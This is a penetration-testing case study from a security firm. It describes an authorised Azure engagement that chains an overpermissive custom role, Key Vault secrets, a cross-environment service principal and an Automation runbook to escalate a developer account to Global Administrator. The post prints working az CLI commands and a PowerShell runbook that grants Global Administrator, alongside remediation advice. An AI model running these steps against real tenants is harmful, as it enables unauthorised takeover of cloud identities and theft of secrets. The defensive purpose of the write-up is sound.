Case Study

Abusing Cloud Permissions to Escalate Privileges

> az@cloudshell:~$ az role assignment list --assignee $(az ad signed-in-user show --query id -o tsv) | jq '.[] | .roleDefinitionName'<span class="cursor-blink">_</span>_

Peter Bassill 3 December 2024 16 min read
penetration-testing cloud-security azure from-the-hacker-desk iam-misconfiguration privilege-escalation least-privilege entra-id

No vulnerability. No exploit. Just permissions.

There is a misconception — common among organisations migrating to the cloud — that security in Azure, AWS, or GCP is primarily about patching virtual machines, configuring network security groups, and encrypting storage. These are important. But they are not where the most consequential cloud compromises originate.

The most consequential cloud compromises originate in IAM — Identity and Access Management. They do not involve exploiting a vulnerability. They do not require malware. They do not trigger an EDR alert. They involve an attacker who has legitimate credentials taking a series of actions that are individually authorised and collectively devastating.

On this engagement, we escalated from a developer's account with read access to a single resource group to Global Administrator of the entire Azure tenant. Every action we took was permitted by the permissions assigned to the accounts we used. No security control flagged any step as malicious, because no step was — in isolation — malicious. The misconfiguration was not in what any single permission allowed. It was in how the permissions chained together.


The Engagement Brief

The client was a mid-sized SaaS company — approximately three hundred employees — with a cloud-native architecture running entirely in Microsoft Azure. Their infrastructure comprised several hundred resources across twelve subscriptions, organised by environment (production, staging, development) and function (platform, data, applications). They used Entra ID (formerly Azure AD) for identity management, with a mix of cloud-only and hybrid-joined identities.

We had been engaged to conduct a cloud penetration test focused on Azure IAM and privilege escalation. The starting position was a compromised developer account — simulating a scenario where an attacker had obtained valid credentials through phishing, credential stuffing, or a compromised workstation. We were given a standard developer account with the permissions that a typical member of the platform engineering team would hold.

The client was confident in their Azure configuration. They had engaged a cloud consultancy to design their landing zone architecture. They used Azure Policy for guardrails. They had implemented Privileged Identity Management (PIM) for administrative roles. They believed their IAM model followed least privilege.

It did not.


Understanding the Starting Position

Our starting account — e.ward@[client].com — was a member of the Platform Engineering Entra ID security group. We began by enumerating our permissions: what could this account see, and what could it do?

Initial Enumeration — Account Permissions
$ az login -u e.ward@[client].com
[Authenticated — tenant: [REDACTED]]

$ az account list --query '[].{Name:name, Sub:id}' -o table
Name Sub
────────────────────── ────────────────────────────────────
Dev-Platform aaaa-bbbb-cccc-dddd-eeee
Dev-Applications ffff-gggg-hhhh-iiii-jjjj
Staging-Platform kkkk-llll-mmmm-nnnn-oooo

# 3 subscriptions visible out of 12 total

$ az role assignment list --assignee e.ward@[client].com \
--all --query '[].{Role:roleDefinitionName, Scope:scope}' -o table

Role Scope
──────────────────────────── ──────────────────────────────────────
Reader /subscriptions/aaaa.../Dev-Platform
Platform Engineer (Custom) /subscriptions/aaaa.../rg/platform-dev
Reader /subscriptions/ffff.../Dev-Applications
Reader /subscriptions/kkkk.../Staging-Platform

The account had Reader access to three subscriptions — the two development subscriptions and the staging platform subscription. It also had a custom role called 'Platform Engineer' scoped to a single resource group: platform-dev in the Dev-Platform subscription.

Reader access is benign in isolation — it permits viewing resources but not modifying them. The interesting question was: what did the custom 'Platform Engineer' role permit?


The Custom Role — Reading the Fine Print

Azure IAM uses Role-Based Access Control (RBAC). Permissions are defined in role definitions — documents that specify which actions an identity can perform on which resource types. Azure provides dozens of built-in roles (Reader, Contributor, Owner, etc.), but organisations can also create custom roles tailored to their specific needs.

Custom roles are where misconfigurations concentrate. Built-in roles are well-documented, widely understood, and tested by Microsoft. Custom roles are created by the organisation's own engineers, often under time pressure, and rarely reviewed after creation.

Custom Role Definition — 'Platform Engineer'
$ az role definition list --name 'Platform Engineer' -o json | jq '.[0]'

{
"roleName": "Platform Engineer",
"description": "Custom role for platform team — dev environments",
"permissions": [
{
"actions": [
"Microsoft.Compute/*",
"Microsoft.Network/*",
"Microsoft.Storage/*",
"Microsoft.KeyVault/vaults/read",
"Microsoft.KeyVault/vaults/secrets/*",
"Microsoft.ManagedIdentity/*",
"Microsoft.Authorization/roleAssignments/*",
"Microsoft.Resources/*"
],
"notActions": [],
"dataActions": [
"Microsoft.KeyVault/vaults/secrets/getSecret/action"
],
"notDataActions": []
}
],
"assignableScopes": [
"/subscriptions/aaaa-bbbb-cccc-dddd-eeee"
]
}

The custom role definition contained several permissions that were individually reasonable for a platform engineer in a development environment — the ability to manage compute, networking, and storage resources. However, three permissions were critically overpermissive.

Permission What It Allows Risk
Microsoft.Authorization/
roleAssignments/*
Create, read, update, and delete role assignments within the scope Critical — allows the user to grant themselves or any other identity any role, up to and including Owner, on any resource within the scope
Microsoft.ManagedIdentity/* Create and manage user-assigned managed identities High — managed identities can be assigned roles and used to authenticate to Azure services without passwords
Microsoft.KeyVault/
vaults/secrets/*
Full control over Key Vault secrets including read, write, and delete High — Key Vaults frequently contain service principal credentials, connection strings, and API keys

The Microsoft.Authorization/roleAssignments/* permission was the critical finding. This single permission grants the ability to assign any Azure RBAC role — including Owner — to any identity within the scope. It is the most dangerous permission in Azure RBAC outside of the Owner role itself, because it allows the holder to escalate their own privileges by assigning themselves additional roles.

Finding — Custom Role Permits Self-Escalation via Role Assignment

The custom 'Platform Engineer' role included Microsoft.Authorization/roleAssignments/* which allows the holder to create arbitrary role assignments within scope. This permits privilege escalation by self-assigning Owner or Contributor roles on the resource group, subscription, or any resource within scope.


Self-Escalation — From Platform Engineer to Owner

The first escalation was immediate. We used the roleAssignments permission to assign ourselves the Owner role on the Dev-Platform subscription.

Self-Escalation — Assigning Owner Role
$ az role assignment create \
--assignee e.ward@[client].com \
--role Owner \
--scope /subscriptions/aaaa-bbbb-cccc-dddd-eeee

{
"principalId": "[REDACTED]",
"roleDefinitionName": "Owner",
"scope": "/subscriptions/aaaa-bbbb-cccc-dddd-eeee",
"condition": null
}

# e.ward is now Owner of the Dev-Platform subscription
# No approval workflow. No PIM activation. No alert generated.

A single command. No approval workflow. No Privileged Identity Management activation. No multi-factor authentication challenge. No alert in the SIEM. We were now Owner of the Dev-Platform subscription — with full control over every resource within it, including the ability to create further role assignments, modify resources, and access all data.

The client had implemented PIM for built-in administrative roles at the Entra ID level — Global Administrator, User Administrator, and similar directory roles required PIM activation. But PIM was not configured for Azure RBAC roles at the subscription level. The custom role's ability to create role assignments bypassed PIM entirely because the escalation occurred within Azure RBAC, not within Entra ID.


Key Vault — The Secrets Drawer

With Owner access to the Dev-Platform subscription, we enumerated its Key Vaults. Azure Key Vault is the recommended service for storing secrets — connection strings, API keys, certificates, and service principal credentials. The platform-dev resource group contained a Key Vault named kv-platform-dev.

Key Vault Secret Enumeration
$ az keyvault secret list --vault-name kv-platform-dev \
--query '[].{Name:name, Created:attributes.created}' -o table

Name Created
──────────────────────────────── ────────────────────
sp-platform-deployer-secret 2023-01-15
sp-infra-automation-secret 2023-03-22
sql-admin-password 2023-01-15
storage-account-key-prod 2023-06-10
api-gateway-signing-key 2023-09-01
github-pat-cicd 2023-11-20

$ az keyvault secret show --vault-name kv-platform-dev \
--name sp-platform-deployer-secret --query value -o tsv

[REDACTED — service principal client secret]

The Key Vault contained six secrets, including the client secrets for two service principals — automated identities used by the CI/CD pipeline and infrastructure-as-code tooling. It also contained a SQL administrator password, a production storage account key, an API gateway signing key, and a GitHub personal access token used by the CI/CD pipeline.

Two observations were immediately concerning. First, the Key Vault in the development subscription contained a secret named storage-account-key-prod — a production credential stored in a development environment. Second, the service principal secrets had been created in January 2023 — nearly two years ago — and had not been rotated.

We focused on the two service principals.


Service Principal Abuse — Crossing Subscriptions

Service principals are the non-human identities in Azure — the accounts used by applications, CI/CD pipelines, and automation tools. They authenticate with client secrets or certificates rather than passwords and MFA. They are often granted broad permissions to perform their automated tasks. And they are frequently the most overprivileged identities in any Azure tenant.

We authenticated as the sp-platform-deployer service principal using the client secret retrieved from the Key Vault, and enumerated its role assignments.

Service Principal — Role Assignments
$ az login --service-principal \
-u [sp-platform-deployer-app-id] \
-p [client-secret-from-keyvault] \
--tenant [REDACTED]

$ az role assignment list --all --assignee [sp-object-id] \
--query '[].{Role:roleDefinitionName, Scope:scope}' -o table

Role Scope
────────────── ──────────────────────────────────────────────
Contributor /subscriptions/aaaa.../Dev-Platform
Contributor /subscriptions/ffff.../Dev-Applications
Contributor /subscriptions/kkkk.../Staging-Platform
Contributor /subscriptions/pppp.../Staging-Applications
Contributor /subscriptions/qqqq.../Prod-Platform
Contributor /subscriptions/rrrr.../Prod-Applications

# Contributor on 6 of 12 subscriptions — including PRODUCTION

The service principal had Contributor access to six subscriptions — both development, both staging, and both production subscriptions. This single service principal, whose secret was stored in a development Key Vault accessible to any platform engineer, had write access to the production environment.

The Contributor role cannot create role assignments (that requires Owner or User Access Administrator), so we could not directly self-escalate further via Azure RBAC from this position. But Contributor can modify resources — and modifying the right resource is just as powerful as having the right role.


From Contributor to Global Administrator

Azure has a well-documented escalation path from a Contributor role on a subscription to Global Administrator of the Entra ID tenant. The path involves Azure Automation — a service that allows organisations to run PowerShell and Python scripts on a schedule or in response to events.

The Prod-Platform subscription contained an Automation Account named auto-infra-ops. This Automation Account had a system-assigned managed identity — an identity automatically created by Azure and attached to the resource. The managed identity had been granted roles to perform its automated tasks.

Automation Account — Managed Identity Permissions
$ az automation account show -n auto-infra-ops \
-g rg-platform-prod --query identity

{
"type": "SystemAssigned",
"principalId": "[REDACTED-MI-OBJECT-ID]",
"tenantId": "[REDACTED]"
}

# Checking managed identity's Entra ID roles:
$ az rest --method GET \
--url 'https://graph.microsoft.com/v1.0/directoryRoles' \
| jq -r '.value[] | select(.members[]?.id == "[MI-OBJECT-ID]") | .displayName'

Global Administrator

# The Automation Account's managed identity is a GLOBAL ADMINISTRATOR

The Automation Account's managed identity was a Global Administrator. This is the highest-privilege role in Entra ID — equivalent to domain administrator in on-premises Active Directory. It grants full control over every identity, every application, every group, and every configuration in the tenant.

Why was an Automation Account a Global Administrator? Investigation revealed that the account ran scripts that managed Entra ID objects — creating service principals, managing group memberships, and configuring application registrations. Rather than granting the specific Graph API permissions required for these tasks, someone had assigned the Global Administrator role — the cloud equivalent of giving root access because it is easier than determining the minimum necessary permissions.

As a Contributor on the subscription, we had the ability to create and execute runbooks within the Automation Account. Runbooks execute in the context of the Automation Account's managed identity. A runbook executed by us would run as Global Administrator.

Runbook Execution — Elevating to Global Administrator
# Create a runbook that uses the managed identity to grant
# our original user account the Global Administrator role:

$ cat > escalation_runbook.ps1 << 'EOF'
Connect-AzAccount -Identity
$userId = (Get-AzADUser -UserPrincipalName 'e.ward@[client].com').Id
$gaRole = Get-AzureADDirectoryRole | Where-Object {
$_.DisplayName -eq 'Global Administrator' }
Add-AzureADDirectoryRoleMember -ObjectId $gaRole.ObjectId \
-RefObjectId $userId
EOF

$ az automation runbook create --automation-account-name auto-infra-ops \
-g rg-platform-prod --name 'platform-diag' \
--type PowerShell --content @escalation_runbook.ps1

$ az automation runbook start --automation-account-name auto-infra-ops \
-g rg-platform-prod --name 'platform-diag'

[*] Runbook started — executing as managed identity (Global Admin)
[*] Job completed successfully

# Verifying elevation:
$ az login -u e.ward@[client].com # re-authenticate as original user
$ az rest --method GET \
--url 'https://graph.microsoft.com/v1.0/me/memberOf' \
| jq '.value[].displayName'

"Global Administrator"

# e.ward is now Global Administrator of the entire tenant

We created a PowerShell runbook that, when executed, used the managed identity's Global Administrator privileges to add our original user account to the Global Administrator role. The runbook executed. The role was assigned. e.ward — a developer with read access to three subscriptions and a custom role on a single resource group — was now Global Administrator of the entire Azure tenant.


From Reader to Global Administrator

Step Action Weakness Exploited
01 Enumerated custom 'Platform Engineer' role definition Custom role included roleAssignments/* — self-escalation capability
02 Self-assigned Owner on Dev-Platform subscription No PIM for Azure RBAC roles; no approval workflow for role assignments
03 Retrieved service principal secret from Key Vault Development Key Vault contained CI/CD service principal credentials
04 Authenticated as service principal — Contributor on 6 subscriptions Single service principal with cross-environment access including production
05 Identified Automation Account with Global Admin managed identity Managed identity granted Global Administrator — grossly overprivileged
06 Created and executed runbook as Global Admin; elevated own account Contributor can create runbooks that execute as the managed identity

Cloud IAM — The Invisible Attack Surface

This engagement involved no software vulnerabilities. No CVEs. No buffer overflows. No unpatched services. Every action we took was performed through the Azure CLI and REST API — using commands that are documented, supported, and intended. The issue was not that Azure allowed us to do something it should not have. The issue was that the organisation's IAM configuration permitted us to do things they did not intend.

This is the fundamental challenge of cloud IAM. In a traditional on-premises environment, the network provides a physical constraint — you must be on the right VLAN, in the right building, with the right cable plugged in. In the cloud, there are no physical constraints. Access is determined entirely by permissions — and permissions are determined by configuration. A single overpermissive role, a single misconfigured service principal, a single Global Administrator managed identity, and the entire tenant is compromised.

Permission Chaining
Cloud privilege escalation rarely involves a single misconfiguration. It involves a chain of individually permissive configurations that, when combined, create a path from low privilege to high privilege. Each link in the chain appears reasonable in isolation. The chain is only visible when the permissions are analysed as a graph.
Non-Human Identity Risk
Service principals and managed identities outnumber human users in most Azure tenants. They do not use MFA. They do not trigger sign-in risk policies. They often have broader permissions than any human user. They are the most dangerous and least monitored identities in the cloud.
Environment Leakage
Development environments are treated as low-risk. But when a development Key Vault contains production credentials, and a development service principal has production access, the boundary between environments exists only on the architecture diagram — not in the permission model.
Configuration Drift
Cloud IAM configurations change continuously — new roles are created, permissions are added, service principals are provisioned. Without continuous monitoring and automated drift detection, the IAM posture documented during a security review bears decreasing resemblance to reality.

Technique Mapping

T1087.004 — Cloud Account Discovery
Enumeration of Azure role assignments, custom role definitions, and service principal configurations using the Azure CLI.
T1548 — Abuse Elevation Control Mechanism
Self-assignment of the Owner role through the overpermissive roleAssignments/* permission in the custom Platform Engineer role.
T1552.005 — Cloud Instance Metadata API
Retrieval of service principal client secrets from Azure Key Vault, enabling authentication as a cross-environment service principal.
T1078.004 — Cloud Accounts
Authentication as the sp-platform-deployer service principal using credentials extracted from the development Key Vault.
T1059.001 — PowerShell
Execution of a PowerShell runbook within the Azure Automation Account to leverage the managed identity's Global Administrator privileges.
T1098.003 — Additional Cloud Roles
Assignment of the Global Administrator directory role to the compromised user account via the Automation Account's managed identity.

Recommendations and Hardening

Remediation Roadmap
Phase 1 — Immediate (0–7 days) Cost: Low
✓ Remove roleAssignments/* from custom Platform Engineer role
✓ Remove Global Administrator from Automation Account MI
✓ Rotate sp-platform-deployer and sp-infra-automation secrets
✓ Remove production credentials from development Key Vault
✓ Revoke e.ward's Owner and Global Admin assignments
✓ Rotate all secrets found in kv-platform-dev

Phase 2 — Short Term (7–60 days) Cost: Medium
○ Audit ALL custom role definitions for escalation permissions
○ Audit ALL service principal role assignments across all subscriptions
○ Audit ALL managed identity role assignments (system + user)
○ Implement separate service principals per environment (dev/staging/prod)
○ Migrate service principal auth from secrets to certificates
○ Enable PIM for Azure RBAC roles (not just Entra ID roles)
○ Deploy Azure Monitor alerts for role assignment changes

Phase 3 — Strategic (60–180 days) Cost: Medium–High
○ Implement automated IAM posture assessment (continuous)
○ Deploy CIEM (Cloud Infrastructure Entitlement Management) tooling
○ Replace managed identity Global Admin with granular Graph API perms
○ Implement automated secret rotation for all Key Vault secrets
○ Enforce environment isolation — no cross-env SPs or shared secrets
○ Integrate IAM drift detection into CI/CD pipeline

The immediate priority was removing the roleAssignments/* permission from the custom role. This single permission was the entry point to the entire escalation chain. If this permission had not been present, none of the subsequent steps would have been possible from the developer account. Custom roles should never include Microsoft.Authorization/* actions unless the role is specifically designed for IAM management — and even then, conditions should restrict which roles can be assigned.

The Automation Account's managed identity must be downgraded from Global Administrator to the minimum permissions required for its tasks. Azure provides granular Graph API permissions — Application.ReadWrite.All, Group.ReadWrite.All, and similar scoped permissions — that allow specific operations without granting full tenant administration. The principle of least privilege applies to non-human identities with the same force as it does to human users.

Environment isolation is essential. A service principal should never span development and production. Credentials for production systems should never be stored in development environments. Each environment should have its own service principals, its own Key Vaults, and its own role assignments — with no cross-environment trust. The cost of managing separate identities per environment is negligible compared to the cost of a compromised production environment.

Cloud Infrastructure Entitlement Management (CIEM) tooling provides continuous visibility into the effective permissions of every identity in the tenant — human and non-human. CIEM tools can identify overprivileged service principals, detect escalation paths, and alert on permission changes that introduce risk. In a cloud environment where IAM is the primary security boundary, CIEM is as essential as EDR is for endpoints.


In the cloud, permissions are the perimeter.

On-premises security is built around network boundaries — firewalls, VLANs, segmentation. Cloud security is built around identity boundaries — roles, permissions, policies. The firewall rules that kept an attacker out of the server room have no equivalent in Azure. The only thing standing between a developer account and Global Administrator is the correctness of the IAM configuration.

This organisation had invested in Azure Policy, PIM, and a professionally designed landing zone. These investments were real and valuable. But a single custom role with one overpermissive action, a single service principal that spanned environments, and a single managed identity with unnecessary privileges created a chain that bypassed every control they had built.

No vulnerability was exploited. No patch was missing. No security tool failed. The configuration was the vulnerability. The permission was the exploit. The identity was the attack surface.

Until next time — stay sharp, stay curious, and read your custom role definitions. Every line of JSON is a security decision.

Legal Disclaimer

This article describes a cloud penetration test conducted under formal engagement with full written authorisation from the client. All identifying details have been altered or omitted to preserve client confidentiality. Privilege escalation was demonstrated and immediately reversed — all created role assignments and accounts were removed upon completion. Unauthorised access to computer systems is a criminal offence under the Computer Misuse Act 1990 and equivalent legislation worldwide. Do not attempt to replicate these techniques without proper authorisation.



If you have not audited your Azure IAM for escalation paths, you might be surprised.

Hedgehog Security conducts cloud penetration testing that focuses on the attack surface that matters most — identity and access management. We map permission chains, identify escalation paths, audit service principal privileges, and test whether your cloud IAM model enforces the least privilege you intended. The cloud has no perimeter. Permissions are all you have.